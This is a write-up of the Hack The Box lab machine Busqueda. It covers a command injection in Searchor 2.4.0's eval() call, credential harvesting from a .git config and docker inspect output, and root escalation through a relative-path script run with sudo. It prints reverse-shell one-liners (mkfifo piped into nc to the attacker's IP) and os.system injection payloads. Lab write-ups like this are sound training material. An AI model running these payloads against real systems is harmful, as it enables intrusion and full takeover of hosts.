HTB Busqueda: Formal Writeup

Safwan Luban
7 min readAug 10, 2023

--

Synopsis:

On the host Busqueda a vulnerable web app was running, by exploiting the web app’s query parameter the attacker gained RCE & the initial foothold. The attacker then enumerated the system and compromised the password for the cody user, which was reused for the user svc account. The attacker also discovered a new virtual host (VHOST) where a self-hosted Git service was running. Using the sudo privileges of the svc user, the attacker was able to dump the configuration files of running Docker containers, which led to the compromise of a few additional user passwords. The attacker then logged into the administrator’s Git account and found a number of scripts. One of these scripts, named full-checkup.sh, did not have its full path specified. The attacker abused this oversight by creating a file named full-checkup.sh in the /tmp directory that contained a reverse shell. This allowed the attacker to gain complete control of the host.

Active Recon:

The attacker decided to run a nmap scan to find all the open ports and running services.

┌──(toothless5143@kali)-[~]
└─$ nmap -Pn -sV -sC -p- --min-rate=5000 -T4 10.10.11.208
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-08 00:54 CDT
Warning: 10.10.11.208 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.208
Host is up (0.28s latency).
Not shown: 48720 closed tcp ports (conn-refused), 16813 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.37 seconds

From the nmap scan it was found that there were 2 open ports SSH & HTTP. The HTTP server was running on Apache httpd 2.4.52 and our Nmap’s Script Engine revealed that the http server redirected to another VHOST named searcher.htb. Upon adding the VHOST to the /etc/hosts file, the website was explore able.

┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts

Upon landing on the page it was initiated the website is a web app based on a python flask using the library Searchor. Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. The web app also revealed its version.

Searcher web app
Searchor 2.4.0

Vulnerability Analysis & Exploitation:

Upon researching for a bit the attacker figured out that Searchor 2.4.0 was vulnerable to Arbitrary Command Injection & they found a valid exploit for the vulnerability.

In the file src/sarchor/main.py of the version Searchor 2.4.0 there was a function named eval(), Which can provide the ability to execute arbitrary code using functions such as:
__import__(‘os’).system(‘<CMD>’), __import__(‘os’).popen(‘<CMD>’).read()

So they decided to use the exploit to gain RCE. They started a listener to hear back from the reverse shell.

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444

listening on [any] 4444 ...

Upon executing the script & using the below reverse shell payload, the nc listener got a hit with a reverse connection from the target.

┌──(toothless5143@kali)-[~]
└─$ python3 Searchor\ 2.4.0\ RCE.py

Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.36 4444 >/tmp/f

Netcat listener:

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...

connect to [10.10.14.35] from (UNKNOWN) [10.10.11.208] 36624
svc@busqueda:/var/www/app$

And the first flag was obtained through the reverse shell from the file /home/svc/user.txt.

Post Exploitation:

While enumerating different files through out the machine a hidden folder .git was found. And inside the folder a pair of credential for the user cody & a VHOST named gitea.searcher.htb was discovered from the config file.

svc@busqueda$ cat /var/www/app/.git/config

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:<REDACTED>@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

Inside the same directory the HEAD file had some data about the last commit and an username administrator was found.

svc@busqueda:/var/www/app/.git/logs$ cat HEAD

0000000000000000000000000000000000000000 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 administrator <administrator@gitea.searcher.htb> 1671970461 +0000 commit (initial): Initial commit

Upon adding the VHOST into the /etc/hosts file the attacker was able to access the VHOST gitea.searcher.htb successfully.

┌──(toothless5143@kali)-[~]
└─$ echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Inside the gitea.searcher.htb

The attacker was able to sign in by using the credential of the user cody, but found nothing interesting. Upon trying to list the svc user’s sudo privileges it asked the attacker for a password. Later on it was found out that the cody user’s password was reused for the user svc.

svc@busqueda:~$ sudo -S -l

[sudo] password for svc: <REDACTED>
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *

The user svc was permitted to run the Python script “/opt/scripts/system-checkup.py” using the Python3 interpreter located at “/usr/bin/python3”, and they could do so with root privileges.

The attacker had the access to execute 3 actions on behalf of the script “system-checkup.py”.

svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py test

Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup

Upon executing the docker process it was found out that 2 docker containers were running, one for gitea service and the other one was for mysql.

svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 7 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 7 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db

It was possible to dump the config files from docker’s by abusing the docker-inspect. Nothing found by dumping the gitae service’s config file. But by dumping the mysql docker some user passwords were found.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' f84a6b33fb5a

{"Hostname":"f84a6b33fb5a","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"3306/tcp":{},"33060/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["MYSQL_ROOT_PASSWORD=<REDACTED>","MYSQL_USER=gitea","MYSQL_PASSWORD=<REDACTED>","MYSQL_DATABASE=gitea","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","GOSU_VERSION=1.14","MYSQL_MAJOR=8.0","MYSQL_VERSION=8.0.31-1.el8","MYSQL_SHELL_VERSION=8.0.31-1.el8"],"Cmd":["mysqld"],"Image":"mysql:8","Volumes":{"/var/lib/mysql":{}},"WorkingDir":"","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"db","com.docker.compose.version":"1.29.2"}}

Which was later used to sign in to the gitea service’s web app on behalf of the user administrator(administrator:<REDACTED>). A repository named scripts was found. Which was consisted of different scripts.

In the administrator repository

Privilege Escalation:

Upon inspecting all of the scripts deeply it was discovered that inside the system-checkup.py script, the full path for the full-checkup.sh file was not mentioned which was abuse able.

    elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)

The above code block means that the command can only be run if the full-checkup.sh is available in the current directory. The full-checkup.sh was located in /opt/scripts. So the attacker decided to create a new file named full-checkup.sh in a different location so that the attacker owned script gets executed instead of the real one which will give the attacker arbitrary command execution on behalf of the root user because of the sudo privillege.

The attacker was able to create a reverse shell script in the /tmp folder and upon executing the function full-checkup, they were able to gain root access over the host. The process is shown below, the attacker gained a SSH connection for reliability.

Connecting to the ssh server:

┌──(toothless5143@kali)-[~]
└─$ ssh svc@10.10.11.208

svc@10.10.11.208's password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
svc@busqueda:~$

Creating a rogue full-checkup.sh file in the /tmp directory:

svc@busqueda:/tmp$ vim full-checkup.sh

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.36 8000 >/tmp/f


# Giving the execution permission
svc@busqueda:/tmp$ chmod +x full-checkup.sh

Starting a nc listener:

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...

Executing the script by abusing sudo privilege:

svc@busqueda:/tmp$ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Upon executing the command, the attacker successfully got a reverse connection from the host on behalf of the root user & the host got pwned. Lastly the root flag was obtained from the /root/root.txt.

┌──(toothless5143@kali)-[~]
└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...
connect to [10.10.14.36] from (UNKNOWN) [10.10.11.208] 54230

root@busqueda:/tmp# cat /root/root.txt
<REDACTED>

Signing out,
- Toothless

--

--

Safwan Luban
Safwan Luban

Written by Safwan Luban

Ethical hacker, Independent Security Researcher

No responses yet